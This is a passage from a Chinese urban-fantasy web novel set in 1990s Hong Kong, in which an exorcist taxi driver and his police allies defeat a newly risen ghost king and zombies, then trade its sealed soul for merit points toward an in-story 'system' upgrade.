在怪物会长难以置信的惊恐目光中,它那足以撕裂钢铁、凝聚了深厚阴煞之气的十根利爪,在与包裹着纯阳破邪金光的青铜大宝剑接触的瞬间,如同脆弱的枯树枝一般,应声而断!
乌黑的指甲碎片四处飞溅!
第111章 故事从十年前说起
就在古德挥动金光闪耀的青铜大宝剑,如同热刀切黄油般斩断怪物会长那十根乌黑利爪的同一时间。
客厅另一侧的局势,则上演着一出鸡飞狗跳的闹剧。
自称重案组之虎的曹达华,此刻正被一个穿着女佣制服、但动作却异常迅捷的影魇追得满客厅乱窜!
那女佣影魇双手指甲尖锐,带着一股阴风,死死追在曹达华身后,吓得他哇哇大叫,头上的三角墨镜都歪到了一边。
“阿星!阿星!接力!接力啊!这只女鬼好凶啊!顶不住啦!”
曹达华一边以与他圆润身材不符的灵活度绕着沙发跑,一边朝着周星星的方向声嘶力竭地呼救。
周星星刚用特制**放倒一个试图爬起来的影魇保镖,听到喊声,扭头一看,正好看到曹达华被追得屁滚尿流的狼狈相。
他忍不住翻了个大大的白眼,脸上写满了无语表情,吐槽道:
“我顶!I服了You!达叔你别在这里捣乱了!”
吐槽归吐槽,周星星动作却不慢,抬手“砰”的一枪,精准地打在女佣影魇的小腿上。
特制弹头蕴含的破邪之力让那影魇一个趔趄,发出一声尖啸,动作顿时迟缓下来。
这时,于子朗敏捷地冲上前,补上一枪,彻底将那影魇打得阴气溃散,瘫倒在地。
他收起枪,笑嘻嘻地揽住惊魂未定的曹达华的肩膀:
“达叔,你看,小场面而已嘛!走走走,我护送你出去,这里交给我们年轻人搞定就得啦!您老在外面帮我们望风,更重要!”
曹达华惊魂甫定,喘着粗气,听到于子朗的话,立刻又挺起了他那圆滚滚的肚子,强行挽尊道:
“哼!要不是我今天状态不好,有点头晕……想当年我曹达华在卧底的时候,这种货色,我一个打十个都不带喘气的!老了老了,江湖是你们年轻人的啦!”
一边说着,一边脚下抹油,跟着于子朗飞快地朝门口溜去,速度比来时快多了。
周星星看着曹达华消失的背影,无奈地叹了口气,摇了摇头。
他按住无线耳麦,语气带着点疲惫:“阿栋,阿栋!听到请回答!”
“收到,星仔,请讲。”
耳麦里传来莫作栋冷静的声音。
“赶紧的!把陈老板(纸扎陈)之前吹得天花乱坠的那个‘超级无敌收鬼吸尘器’给我送进来!
妈的,这里的鬼东西比蟑螂还多!我带的收魂瓶都快塞爆了!
希望陈老板这次没吹牛,那吸尘器真像他说的那样,有个内置大空间,能装得下这么多好兄弟!”
无线电那头沉默了两秒,传来莫作栋略带迟疑的声音:
“星仔……有个问题。陈师傅拿来那个吸尘器的时候……好像……没充电。
他说这玩意儿耗电有点猛,充满一次只能用半小时,但是他忘记充了……”
“我……靠!”
周星星听到这个消息,差点一个后仰摔倒在地,脸上表情瞬间垮掉。
“那你拿点收魂瓶过来,顺便再拿些**过来。”
……
与此同时,别墅二楼,阴暗的走廊尽头。
谢潮如同一道黑色的影子,悄无声息地逼近了那个仍在摇动邪铃的老道士。
他停下脚步,站在距离老道士五米开外的地方,墨镜下的目光冰冷如刀,锁定目标。
那老道士显然也发现了谢潮,铃声戛然而止。
他顶着一个仍在汩汩冒血的额头弹孔,脸上却挤出一个极其难看且虚伪的讨好笑容,声音沙哑地求饶:
“阿……阿sir!警官!误会!全是误会啊!贫道也是被下面那个邪魔给骗了!一时糊涂!
您大人有大量,高抬贵手,放我一马行不行?我保证,立刻滚蛋,从此消失,再也不出现在你面前!”
在他的身旁,矗立着一个极其魁梧的身影。
那是一个只穿着一条破烂长裤、上身赤裸的壮汉。
他全身肌肉虬结,呈现出一种死气沉沉的铁青色,八块腹肌轮廓分明却毫无生气。
最令人心悸的是他的脸。
双眼没有瞳孔,只有一片惨白的眼白,空洞地“注视”着前方,散发着浓郁的尸臭和煞气。
谢潮墨镜后的眼神微微闪动。
这老道士看似求饶,但他身边这具铁尸却散发着强烈的威胁感。
他需要先套取情报。
于是,他冷冷开口,声音没有一丝温度:
“把今天的阴谋,原原本本说清楚。如果你的交代有价值,我可以考虑给你一个机会。”
老道士眼珠转了转,偷偷瞄了一眼身边纹丝不动的铁尸,似乎多了点底气,咽了口唾沫,开始讲述:
“事情是这样的……大概十年前,我偶然遇到了当时还只是个厉鬼级别的‘邪淫鬼王’,就是下面那个怪谈协会的会长。它当时还是个靠吸人精气、制造淫邪幻境害人的家伙。”
“它找到我,说有一个大计划。它看中了郑家这栋建在阴脉节点上的别墅,还有郑家二儿子媳妇那纯阴之体。
它许诺,只要我帮它设局,让它能借助此地和郑家二儿子媳妇的身体修炼成鬼王,它就……就帮我延续我所剩无几的阳寿!”
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>谢潮听到这里,眉头微蹙,打断道:“延续阳寿?一个厉鬼,有什么本事帮人延寿?这种鬼话你也信?”
老道士脸上露出一个比哭还难看的苦笑,带着深深的懊悔:
“我当时……也是鬼迷心窍了啊!阿sir!我那会儿阳寿将尽,就像快淹死的人,看到根稻草都想抓住!而且它展示了一些诡异的手段,确实有点邪门……我就想着,拼一把吧!”
他叹了口气,继续说道:
“结果……它倒是成功了,靠着郑家的资源和那孩子的身体,修为一路暴涨到了半步鬼王。
但帮我延寿的方法……哼,就是把我变成现在这副人不人、鬼不鬼的样子!靠着邪法吊着一口气,其实跟行尸走肉差不多!”
“直到前段时间,有人向它告密,说一位叫古德的大师屡次破坏怪谈协会的好事。它就又来找我,蛊惑我说,那位古大师修炼的**玄妙无比,说不定能帮我彻底摆脱这种半死不活的状态,重获新生……
我……我一时贪念又起,就……就又信了它的鬼话,在这里布下阵法接应它。阿sir,我真的没动手害人啊!我就是个从犯!被胁迫的!我说完了,可以放我走了吧?”
老道士一脸无辜表情地看着谢潮。
谢潮面无表情地点了点头:
“当然。只要你现在乖乖跟我回警署,配合我们做完详细调查。如果证实你确实是被胁迫且没有造成实质危害,法律会给你公正的处理。”
老道士脸上的真诚瞬间僵住,随即变得狰狞起来,厉声道:
“你耍我?!敬酒不吃吃罚酒!阿大!阿二!给我撕了这个条子!”
他话音未落,谢潮猛然感到身后袭来一股凌厉的阴风!
伴随着一股更加浓烈、令人作呕的腐臭味!
“还有一只?!”
谢潮心中一凛,反应极快!
身体以一个几乎违背人体工学的极限角度,猛地向侧面拧转滑步!
“嗖!”一道黑影带着尖啸从他刚才站立的位置扑过!
几乎在同一时间!
“砰!砰!砰!”
几声清脆的**从楼梯口方向响起!
**精准地打在那道偷袭的黑影身上,溅起一串火星,逼得它连连后退!
一个吊儿郎当、带着戏谑的声音随之传来:
“喂!阿潮!你在上面搞咩啊?这么久都没搞定?是不是在摸鱼啊?都差点被人**了!”
周星星单手**,枪口还冒着青烟,另一只手叉着腰,晃晃悠悠地出现在楼梯口,脸上挂着标志性的痞笑,看着谢潮。
第112章 都说糯米可以治僵尸了
谢潮没有搭理周星星,他险之又险地又避开了身后那个壮汉的扑击。
接着他身形如电,一个侧滑步拉开距离,眼神冰冷地锁定之前在老道身边的壮汉。
与此同时,他右手闪电般探入皮衣内侧口袋,指尖夹出一张古德亲手绘制的斩鬼符。
面对再次咆哮冲来的壮汉,谢潮不退反进,步伐灵动如游鱼,在与壮汉错身而过的瞬间,手腕一抖,“啪”的一声轻响,符箓已精准地贴在了壮汉宽阔的后心之上!
他甚至没有额外发力,那斩鬼符一接触至阴的尸身,顿时如同烧红的烙铁碰到了寒冰!
“嗤——轰!”
符箓上的朱砂符文骤然爆发出刺目的红光!
一股纯阳破邪之力猛烈迸发!
那壮汉发出一声痛苦的嘶吼,庞大的身躯如同被一辆无形卡车撞中,直接离地倒飞出去。
“嘭”地一声它重重砸在远处的墙壁上,震得灰尘簌簌落下。
它浑身冒出浓烈的黑烟,在地上剧烈抽搐,一时半会儿再也爬不起来。
而那个狡猾的老道士,早在谢潮动手的瞬间,就已经像受惊的兔子一样,再次缩到了走廊更远处的阴影里,只露出半个顶着血洞的脑袋。
他脸上满是怨毒和心疼,手里那个邪门的青铜铃铛又开始疯狂地摇动起来,发出急促而刺耳的“叮铃铃”声!
铃声如同某种指令,二楼走廊两侧其他紧闭的房门,接连被巨力从内部撞开!
“砰!砰!砰!”
木屑纷飞中,又是三四具同样皮肤呈现深紫青色、肌肉僵硬、双目泛白、散发着浓郁尸臭的壮汉,动作略显迟缓但势大力沉地走了出来,将谢潮和周星星慢慢包围。
“你个扑街,再乱讲扣你工资!”
谢潮这才有空回敬了周星星一句刚才的调侃,但语气依旧沉稳。
他仔细观察着这些新出现的“人”,眉头紧锁,对周星星快速说道:
“阿星,你身上有没有带糯米?我怀疑这些不是普通的行尸,很可能是古籍里记载的僵尸!
没想到这老道士不光会邪法,居然还懂炼尸这种偏门术!”
周星星闻言,脸上玩世不恭的表情收敛了些,露出一丝惊讶:“僵尸?哇,这么刺激?”
他嘴上说着,动作却不慢,哗啦一下拉开自己那件多功能风衣的内衬,只见里面密密麻麻缝着各种小口袋。
他熟练地从其中一个口袋里掏出一个用布袋包好的小包裹,抛给谢潮:
“喏!幸好我机智,出门前顺手抓了一把!”
谢潮接过糯米包,迅速打开,抓出一把晶莹饱满的糯米在手中。
他看着那些步步紧逼、双臂平伸、指甲乌黑发亮的紫僵,对周星星低喝道:
“别废话了!注意安全,你负责左边两个,右边交给我!”
说完,他看准时机,手臂一挥,将一把糯米如同暗器般撒向正前方的两具紫僵!
“噼里啪啦——!”
糯米打在僵尸青紫色的皮肤上,竟爆出一连串细密的火花和轻响,仿佛烧红的炭粒落在了湿木头上!
被糯米击中的地方,立刻出现一片焦黑的痕迹,僵尸的动作明显一滞,发出沉闷的嗬嗬声,似乎极为痛苦和厌恶!
“有效果!”
谢潮眼神一凛,趁此机会,身形如猎豹般窜出,指尖又一张斩鬼符闪现,精准地贴在了其中一具僵尸的额头!
“轰!”
又是一声闷响,那僵
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尸额头冒烟,直挺挺地向后倒去!
周星星那边也有样学样,他虽然平时吊儿郎当,但身手绝对是一流。
只见他一边灵活地躲闪着僵尸的扑抓,一边抓出糯米撒过去,嘴里还不停地念叨:
“喂!大哥,商量一下,你自己躺下行不行?我请你吃糯米饭啊!”
同时抽冷子开枪射击僵尸的关节薄弱处,虽然难以致命,但能有效阻碍其行动。
一旦找到空隙,他也学着谢潮,将古德给的斩鬼符拍在僵尸身上,效果显著。
老道士在远处看着自己辛辛苦苦炼制的紫僵,一具接一具地被糯米克制、被符咒轰倒,心疼得嘴角直抽搐,眼里几乎要喷出火来!
这些紫僵,虽然只是僵尸中等级较低的,但也是他耗费了大量珍贵药材、阴煞之地温养,甚至加入自身精血,配合祖传的那件灵性未失的控尸铃铛,才好不容易炼出来的!
刀枪不入,力大无穷,在如今这个道法没落的时代,本应是他横着走的资本!
谁能想到,今天会碰上古德这帮完全不按常理出牌、装备还特别针对的煞星!
“是你们逼我的!”
老道士脸上闪过一丝狠厉,咬破舌尖,准备喷出精血,催动铃铛,让这些僵尸狂暴,甚至不惜自爆,也要拉上对方垫背!
就在这千钧一发之际——
“咣当!!!”
一声巨响从楼梯口方向传来!
仿佛有什么沉重的东西被狠狠扔了上来!
众人下意识地望去,只见一个浑身沾满粘稠腥臭液体、形态狼狈不堪的人形怪物,如同破麻袋一般,重重地摔落在二楼的走廊地板上,滑行了一段距离,正好停在老道士面前不远处!
第113章 老道士:我和它不熟
老道士定睛一看,失声惊叫:“邪……邪淫鬼王?!”
眼前这个被打得几乎不成形的东西,正是楼下那个不可一世的怪谈协会会长!
紧接着,一道身影手持一柄金光熠熠的青铜大剑,如同天神下凡,轻盈而稳健地跃上二楼。
正是古德!
他此刻周身笼罩着一层淡淡的金色光晕,那是金光咒运转到极致的表现,手持的法剑更是光芒夺目,宛如一柄降魔神兵!
古德目光锐利地扫过二楼战场,看到那些还在挣扎的紫僵,眉头微皱,似乎觉得这些杂兵有些碍事。
他手腕随意地挥动了几下青铜大剑!
“唰!唰!唰!”
青铜大剑如同热刀切黄油般掠过!
那些原本刀枪难入的紫僵,在这蕴含纯阳破邪之力的剑光面前,如同纸糊一般,瞬间被斩得肢断躯裂,七零八落!
阴煞之气迅速溃散!
干净利落!霸气无比!
谢潮和周星星看得目瞪口呆,即便不是第一次见古德出手,还是忍不住在心中再次感叹:“太酷了!”
古德解决完杂兵,冰冷的目光先是扫过脸色惨白、瑟瑟发抖的老道士。
老道士接触到他的目光,吓得一个激灵,连忙手脚并用地往旁边爬开几步,挤出一个比哭还难看的笑容,指着地上的怪物会长结结巴巴地解释道:
“大……大佬!不关我事啊!我……我和它不熟!真的!我是被胁迫的!”
古德没理会他,目光最终落回到地上挣扎着想要爬起来的怪物会长身上。
此时的怪谈会长,内心充满了**和难以置信!
它好不容易修炼到半步鬼王的境界,本以为在香江可以横行无忌,没想到在古德面前,竟然被打得毫无还手之力,像沙包一样被扔来扔去!
它已经开始怀疑鬼生了。
古德心里也有些意外,这家伙空有磅礴的阴气,但战斗技巧和应变能力似乎配不上它的等级,显得外强中干。
他提着剑,一步步走向它,语气平淡却带着不容置疑的冷酷:
“别再徒劳挣扎了,投降吧。我送你去一个好地方。”
说着,他空着的左掌掌心之中,刺眼的湛蓝色雷光开始迅速汇聚、压缩,发出“噼里啪啦”的爆鸣声!
正是至刚至阳、专克阴邪的**!
那怪物会长感受到**传来的毁灭性气息,吓得魂体都在颤抖!
它好不容易才走到今天这一步,离真正的鬼王只有一线之遥,怎么能甘心就此覆灭?!
绝望和疯狂之中,它的目光猛地瞥见了旁边试图撇清关系的老道士,一个早就计划好的念头如同闪电般划过它的意识!
“最后一步……就差最后一步了!”
它眼中闪过一丝歇斯底里的红光!
就在古德的**即将脱手而出的刹那!
“吼!!!”
怪物会长发出一声震耳欲聋的咆哮,体内残存的阴气被它不计后果地疯狂引爆,在身前形成一面浓郁如墨、不断翻涌的阴气盾牌,硬生生挡住了**的轰击!
“轰隆!”
**与阴气盾猛烈碰撞,爆发出强烈的能量冲击!
盾牌虽然下一秒就被至阳雷霆击穿、溃散,但也为它争取到了一刹那的时间!
就是这一刹那!
怪物会长如同鬼魅般扑向了近在咫尺、毫无防备的老道士!
老道士惊恐地瞪大眼睛,刚想摇动铃铛反抗,却发现自己周身仿佛被无形的锁链捆住,动弹不得!
他眼
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中瞬间充满了绝望和悔恨!
“老东西!我养了你这么久,用我的精气吊着你的命!现在,到你回报我的时候了!让我们合二为一,助我踏出这最后一步,成就真正的鬼王之身吧!桀桀桀!”
怪物会长发出狰狞的狂笑,浓稠如实质的阴气如同黑色的潮水,瞬间将惨叫挣扎的老道士彻底吞噬、包裹!
眨眼之间,一个不断蠕动、表面浮现出痛苦人脸轮廓、散发着令人心悸的邪恶与不祥气息的巨大暗红色血茧,出现在了二楼走廊中央!
血茧内部传出令人牙酸的咀嚼声和能量剧烈波动的嗡鸣声!
谢潮和周星星脸色骤变!
他们都感受到了血茧中正在急速攀升的恐怖能量!
“不好!它要进化!”谢潮惊呼!
两人反应极快,几乎同时拔出了经过纸扎陈再次特殊改装、枪身刻满符文、只需要抽取自身少量精血就能激发出破邪**的“灭魂2.0”**!
毫不犹豫地对准那个正在形成的血茧,扣动了**!
“砰!砰!砰!砰!”
特制**打在血茧上,溅起一串串暗红色的火花,却如同泥牛入海,只是让血茧微微颤动,根本无法阻止其内部能量的疯狂汇聚!
古德面色无比凝重,他也没料到这邪淫鬼王如此果决狠辣,竟然选择吞噬老道士来强行突破!
他能感觉到,血茧中的能量正在朝着真正的鬼王级别飙升!
“来不及常规攻击了!”
古德当机立断,双手连挥,一沓绘制好的五雷符如同天女散花般飞出,精准地分布在血茧的四周,形成一个简单的雷法困阵!
他头也不回地对谢潮和周星星喝道:
“别用枪了!直接开大!!”
第114章 老虎不发威,你当我是……
听到古德“开大”的指令,谢潮和周星星没有丝毫犹豫,立刻将手中效果有限的“灭魂2.0”**收起。
两人对视一眼,这段时间的搭档默契无需多言。
周星星嘿嘿一笑,哗啦一下拉开风衣内侧一个特制的长条口袋,从里面抽出四根短棒。
正是他们常用的打鬼棒。
其中两根是谢潮的,来之前为了方便行动,暂时放在了周星星这个移动仓库这里。
两人没有像之前那样将两根短棒首尾相接组合成长棍,而是左右手各持一根。
这打鬼棒是古德特别设计,符文刻印均匀分布,即便不组合,单根使用也具备相当的破邪威力。
更何况这些棒子每日被谢潮和周星星带在身边,以微弱的法力温养,早已与主人心意相通。
更重要的是,在这相对狭窄的二楼走廊里,挥舞两根短棒显然比使用长棍更加灵活自如。
这道理,就跟当年传说中的双刀火鸡,靠着两把菜刀从巷东砍到巷西一样,讲究的就是一个近身短打、灵活多变!
两人调整呼吸,眼神变得专注。
尽管那羞耻的咒语已经念过多次,但每次开口前还是需要一点心理建设。
谢潮深吸一口气,语气沉凝:“爱你一万年!”
周星星几乎是同时,用一种夸张的腔调接上:“我希望是——一万年!”
请神咒语(?)念毕,两人周身的气势骤然一变!
周星星身上,一股桀骜不驯、战意盎然的血色红光弥漫开来,虽然不刺眼,却带着一股蛮横的破邪之力,仿佛大圣亲临。
而谢潮身上则浮现一层温和却坚韧、悲悯而坚定的淡金色佛光,与古德那锐利霸道的金光咒截然不同,更侧重于守护与净化。
就在两人完成请神的瞬间,走廊中央那个不断蠕动的暗红色血茧也达到了临界点!
“噗嗤——!”
血茧猛地从内部炸开!
粘稠的血肉和阴气四溅!
古德眼神一凝,知道关键时刻到来!
他将青铜大剑往身边地板一杵,深深插入木质地板中固定。
随即双手在胸前急速结印,手指翻飞如蝶,带起道道残影,口中急诵:
“五雷猛将,火车将军,腾天倒地,驱雷奔云,队仗百万,搜捕邪精!”
“天地无极,乾坤借法,五雷阵,起!”
随着他最后一个音节落下,之前布置在血茧周围的五张五雷符骤然亮起刺目的电光!
五道电光如同锁链般连接在一起,形成一个简易却威力集中的五雷困魔阵!
阵内雷蛇游走,发出“噼啪”爆响,至阳至刚的雷霆气息将刚刚爆开的血污邪气瞬间蒸发净化!
“哈哈哈!我成了!真正的鬼王!我……呃啊?!”
血茧中,只见一个体型膨胀了一大圈、浑身覆盖着暗红色鳞片、从胯下伸出的一道长蛇环绕在腰间,气息比之前强横了数倍不止的怪物出现,正是真正晋升在鬼王的怪谈会长——邪淫鬼王。
它刚冒出头来,就发出一声志得意满的狂笑!
然而,它的笑声还没完全展开,就变成了惊恐的惨叫!
五雷阵汇聚的雷霆之力,如同找到了宣泄口,化作数道儿臂粗细的湛蓝色电蛇,狠狠地劈在了它的脑门、肩膀和胸膛上!
“轰咔!咔!”
雷光爆闪!
新鬼王被电得浑身剧烈抽搐,鳞片焦黑翻卷,刚凝聚起来的磅礴阴气都被打得一阵涣散!
雷霆的麻痹效果尚未完全消失,四根闪烁着不同光芒的打鬼棒已经如同**般劈头盖脸地砸了下来!
谢潮步法沉稳,棍影如山,每一棒都蕴含着佛门镇魔之力,口中低喝:
“阿弥陀佛,苦海无边,回头是岸!既已执迷不悟,老子便送你早登极乐!”
周星星则如同灵猴般上蹿下跳,棍法刁钻狠辣,专攻下三路和关节要害,嘴里还念着:
“妖怪!看打!吃星爷我一棒!我打!我打!我再打!”
可怜的怪谈会长,刚刚晋升鬼王,还没来得及体验力量带来的快感,甚至连句完整的反派宣言都没说完,就被这一连串毫不讲理的组合攻击打得晕头转向,惨叫连连。
只能抱头鼠窜……呃,抱头挨打。
古德在一旁看着,眼里露出淡淡的笑意。
这大概是史上最憋屈、登场时间最短的鬼王了。
他乐得轻松,收敛了耗力较大的金光咒,只用消耗较小的**,看准时机,一道接一道地劈过去,专门打断怪谈会长试图凝聚力量的反扑,把它电得外焦里嫩,浑身冒烟。
“吼!你们欺人太甚!老虎不发威,真当我是病猫啊!给我开……啊哟!”
怪谈会长被打得实在受不了,憋屈到了极点,试图爆发最后的阴气进行反击。
然而,它刚吼出半句,周星星眼疾手快,一记势大力沉的闷棍就精准地敲在了它的后脑勺上!
“砰!”
这一棍砸得它眼冒金星,阴气再次溃散!
周星星得势不饶人,跳起来继续猛敲,一边打一边念念有词:
“老虎?发威?你发啊!你倒是发个威给我看看啊!星爷我今天就专打你这只病猫!”
在三人毫无死角的**下,怪谈会长终于彻底绝望了,放弃了所有抵抗,瘫倒在地,魂体都变得有些虚幻起来,眼中充满了生无可恋的茫然。
就在周星星打得兴起,准备再来一套连招
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时,他身上那层血色红光突然如同潮水般退去。
他只觉得脚下一软,浑身力气仿佛被抽空,一个踉跄差点当场跪倒。
“小心!”
谢潮眼疾手快,一把扶住周星星,迅速将他拉回到古德身边。
原来是周星星刚才打得过于投入,消耗太大,请来的神力提前耗尽了。
古德看着气喘吁吁、脸色发白的周星星,忍不住调侃道:
“阿星啊,早就让你平时多锻炼身体,别光顾着耍帅。你看你,这么不持久,以后怎么给你未来老婆幸福生活?”
周星星喘着粗气,想反驳却一时说不出话。
古德笑了笑,不再多言,重新提起杵在地上的青铜大剑,迈步走到瘫软如泥的怪谈会长面前,居高临下地看着它,淡淡地道:
“看来,就算你成了鬼王,也不行啊。”
那怪谈会长此刻阴气溃散,魂体虚幻。
它抬起头,用充满怨毒的眼神死死盯着古德,咬牙切齿地发出最后的威胁:
“哼!你……你别得意!你以为怪谈协会……就只有我一个会长吗?我……我不过是最弱的一个!
我的其他兄弟……比我强大得多!他们……一定会替我报仇的!你等着吧!”
古德闻言,眉头微微一挑。
这倒是意外收获,没想到这怪谈协会里的会长不少啊,这组织架构怎么有些乱。
“哦?还有更强的?”
古德脸上非但没有惧色,反而露出了感兴趣的笑容。
“那真是太好了,我正愁阴德……呃,是正愁没机会替天行道呢。我等着它们来送……上门。”
话音未落,古德手腕一抖,手中青铜大剑划出一道凌厉的金光!
“唰!”
剑光闪过,那鬼王的魂体直接被从中斩成两半!
切口处金光缠绕,阻止其重新融合。
古德迅速掏出两个特制的收鬼瓷瓶,小心翼翼地将这两半魂体分别收了进去。
考虑到这是鬼王级别的“大货”,他又额外多加了几张加强版的镇鬼符,贴得严严实实。
做完这一切,古德脸上终于忍不住露出了喜悦的笑容。
这可是正牌鬼王的魂体!
虽然成色有点水,但级别摆在那里!
今晚把今天的收获全部交给岚婆处理,兑换的阴德点数,说不定真够系统升级了!
真是踏破铁鞋无觅处,得来全不费工夫!
这时,周星星也终于缓过气来,想到古德刚才的调侃,立刻不服气地反驳道:
“喂!阿德!你少在那里诽谤我!我……你懂什么!我要告你诽谤啊!你诽谤我!”
古德看着周星星那副死要面子的样子,哈哈大笑起来。
第115章 哎呦,不错哦
随着那倒霉催的新晋鬼王被成功分割封印,塞进特制收鬼瓷瓶,郑家别墅这场惊心动魄的混战,总算是尘埃落定,进入了打扫战场的收尾阶段。
古德提着那个沉甸甸的青铜大宝剑,缓步走下楼梯,准备放回特质琴盒。
客厅里,马季正靠墙坐着休息,石敢当安静地守在一旁。
看到古德下来,马季连忙站起身,脸上带着点憨厚和腼腆。
古德走过去,拍了拍马季的肩膀,脸上露出赞赏的笑容,用带着几分调侃的语调说道:
“哎呦,小马哥!刚才在花园里那手双枪快射,姿势很帅嘛!我很看好你哦,以后咱们香江灵异界的的士双雄,非你我莫属哦!”
这时,于子朗和莫作栋也从外面走了进来。
于子朗手里提着一个看起来分量不轻的手提箱,里面装满了今天捕获的各种影魇和低级鬼物。
他听到古德对马季的称呼和语气,有些疑惑地挠挠头,问道:
“阿德,你干嘛突然学起湾湾那边讲话的调调了?怪奇怪的。”
古德嘿嘿一笑,没有解释这个来自未来网络的梗。
他接过箱子,随即想起正事,连忙招手把在门口探头探脑的郑立叫到身边。
“阿立,”古德语气恢复正经。
“虽然郑志昌变成怪物已经**,但之前谈好的驱邪报酬,可不能就这么算了。
你负责跟郑家剩下的人沟通,该收的钱一分不能少。告诉他们,他们家里的脏东西我们已经清理干净了。”
郑志昌因为表现太嚣张,一开始就被飞虎队集火打残。
然后被于子朗收走。
古德说到这里顿了顿,看了一眼周围继续说道:
“这次阿潮、阿星他们出力不少,不能让大家白忙活。
这样,从收到的报酬里,先拿出一百万港币,给他们几个分一分,算是辛苦费。
至于你的,就从我那份里扣掉你的中介提成好了。”
此言一出,除了向来沉稳、对钱财看得较淡的谢潮只是微微点头外,周星星、于子朗、莫作栋,甚至刚加入的马季,眼睛都瞬间亮了起来!
他们这个“特别事务科”,除了谢潮家境可能好点,其他几位可都是标准的打工仔,一百万港币在90年代初可不是小数目,平分下来每人能拿不少呢!
周星星反应最快,一个箭步窜到古德面前,脸上堆起夸张的谄媚笑容,对着古德就是一个九十度的深鞠躬,嘴里像唱戏一样高声道:
“多谢老板!老板大气!老板洪福齐天!祝老板生意兴隆,财源广进,早日买楼买别墅,生够一百个男丁,继承您的衣钵啊!”
古德被他这浮夸的表演逗乐了,笑骂着轻轻踢了他小腿一脚:
“滚蛋!生一百个?你那份没了!”
周星星立刻双手合十,做出求饶状:
“别别别!老板我错了!您英俊潇洒,玉树临风,我收回我刚才的话!”
古德懒得再跟他贫嘴,转身将装满战利品的箱子和那个装着鬼王的特制瓷瓶都拎在手里,对谢潮交代道:
“阿潮,这里的善后工作就交给你了。”
谢潮沉稳地点了点头:“放心,这里我会处理妥当。”
古德又看了一眼缩在客厅角落、依旧惊魂未定的郑家老太太、郑太太等人,没有再多说什么。
今天的经历对这几个普通人来说,冲击力太大了。
他拎起箱子,朝着众人挥了挥手,便转身离开了这片依旧弥漫着淡淡焦糊和阴冷气息的别墅。
天色渐暗。
古德开着那辆红色的士,仿佛刚才那场恶战只是日常插曲。
他没心没肺地又接了几个晚上的乘客,绕了点路,赚了些公里数。
直到临近子时,他才将车开到了一个熟悉的、靠近郊区的十字路口。
停好车,四周寂静无人,只有昏黄的路灯和偶尔驶过的车辆带来些许光亮。
古德先给自己点上一支烟,深吸了一口,让尼古丁安抚一下略微疲惫的神经。
然后,他拿出四根特制的清香,分别在十字路口的四个方向点燃,插在地上。
青烟袅袅升起,带着一股特殊的气息,在午夜的空旷路口显得格外醒目和诡异。
古德站在清香中间,开始在那边扯着嗓子喊了几声岚婆。
随着古德叫喊声,空气中泛起一阵细微的波动,岚婆那熟悉的身影由淡转浓,如同从水波中浮现一般,悄无声息地出现在古德面前。
她的身形在夜色中依然有些飘忽,但眼神却一如既往的清明。
“岚婆,”古德将烟头掐灭,指了指脚边那个手提箱和那个贴着重重符箓的瓷瓶,脸上带着一丝得意,“这
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次……可是个大货。保证让你惊喜。”
岚婆闻言,脸上露出些许惊讶:
“哦?德仔,你又碰到难缠的厉鬼了?看来你的本事是越来越大了。”
古德叼着烟,嘴角得意地扬起,摇了摇头:
“厉鬼?岚婆,厉鬼现在对我来说只能算家常便饭,哪能称得上大货?”
他用手轻轻点了点那个特制瓷瓶,“这里面装的,可是个鬼王!新鲜出炉的,虽然是个水货,但级别摆在这儿。岚婆,这次您可得给我算个好价钱,不能糊弄我啊。”
“鬼王?!”岚婆这下是真的震惊了,身形都凝实了几分,难以置信地看着古德,“德仔!你……你现在连鬼王都能对付了?这才多久没见?你这进步速度也太吓人了吧!”
古德摆摆手,一副“基操勿六”的淡然表情:
“岚婆您别激动,就是个刚晋升的鬼王,根基不稳,水分很大。而且主要靠谢潮和周星星他们帮忙,我才捡了个便宜。
哦对了,这次的收获,按老规矩,我和阿潮、阿星他们几个平分阴德,您记账的时候分清楚就行。”
他将箱子和瓷瓶郑重地递给岚婆,特别指了指那个瓷瓶:
“岚婆,这家伙邪性得很,生前死后害的人命起码有几十条,怨气冲天。
您处理的时候千万小心,符箓我都加固了,但还得劳您多费心,别让它有机会溜了。”
岚婆接过东西,感受着瓷瓶里传来的怨气,脸色变得十分严肃。
她重重地点了点头:
“你放心,老婆子**这行几十年,晓得轻重。既然是鬼王,哪怕是个水货,也非同小可。
我会亲自押送下去,绝对万无一失。这次功劳不小,阴德方面,肯定给你算个满意的数!”
听到岚婆的保证,古德这才彻底放下心来,脸上露出满意的笑容。
和岚婆又简单交代了几句后,他便看着岚婆的身影连同那些货物一起,缓缓消失在夜色之中。
交接完毕,古德伸了个懒腰,感觉身心俱疲,但心情却格外舒畅。
他钻进出租车,发动引擎,朝着家的方向驶去。
今晚可以睡个好觉了,就等着明天一早,系统那悦耳的“阴德到账”提示音了。
不知道这只“水货鬼王”,能换来多少点呢?
真是令人期待啊。
第116章 乔迁新禧
清晨,阳光透过窗帘的缝隙洒进房间。
古德还在睡梦中,一个熟悉却又略显延迟的提示音,如同闹钟般在他脑海深处清脆地响起:
“叮——!阴德到账930点。
当前阴德总额:3210点。
当前阴德满足升级条件,即将进入升级程序。
升级预计持续时间:72小时。升级期间,公里数赚取功能不受影响,可正常使用。”
“!”
古德双眼猛地睁开,睡意瞬间全无!
他一个翻身坐起,迫不及待地在心中默念,召唤出那半透明的系统面板。
只见原本显示着各项属性和技能的面板,此刻被一行简洁却格外醒目的大字所覆盖:
【系统升级中,敬请期待……】
古德盯着这行字,眉头忍不住挑了起来,心里一阵无语,忍不住对着空气吐槽:
“我期待你个大头鬼啊!大佬,你搞突然袭击是吧?我连那只‘水货鬼王’到底具体值多少阴德都没看清呢!
你这记账也太不透明了!还有啊,升个级居然要三天三夜?你这效率……是用的拨号上网吗?”
他无奈地叹了口气,揉了揉脸。
既然系统大爷要闭关,那急也急不来。
日子总得过,肚子也饿了。
“算了,先去饮早茶,填饱肚子再说。顺便中午去找陈老板聊聊,打听下那个凶宅洋楼的情况。”
古德一边摸着下巴盘算着今天的安排,一边起身洗漱。
系统升级不影响赚公里数,这那古德还是要出工的。
早茶要吃,公里数更要赚!
两手都要抓,两手都要硬!
……
时间一晃,到了系统升级的第二天。
元朗区,一处略显偏僻的地段。
这里不像市中心那样高楼林立,反而多了几分郊区的宁静。
在一片稀疏的树木环绕中,矗立着一栋独门独户的二层欧式小洋楼。
白色的外墙有些斑驳,爬满了绿色的藤蔓,带着明显的岁月痕迹。
楼房自带一个不算太大、但足够私密的小花园和一圈低矮的砖砌围墙,整体环境清幽,但也因为远离闹市而显得有几分冷清。
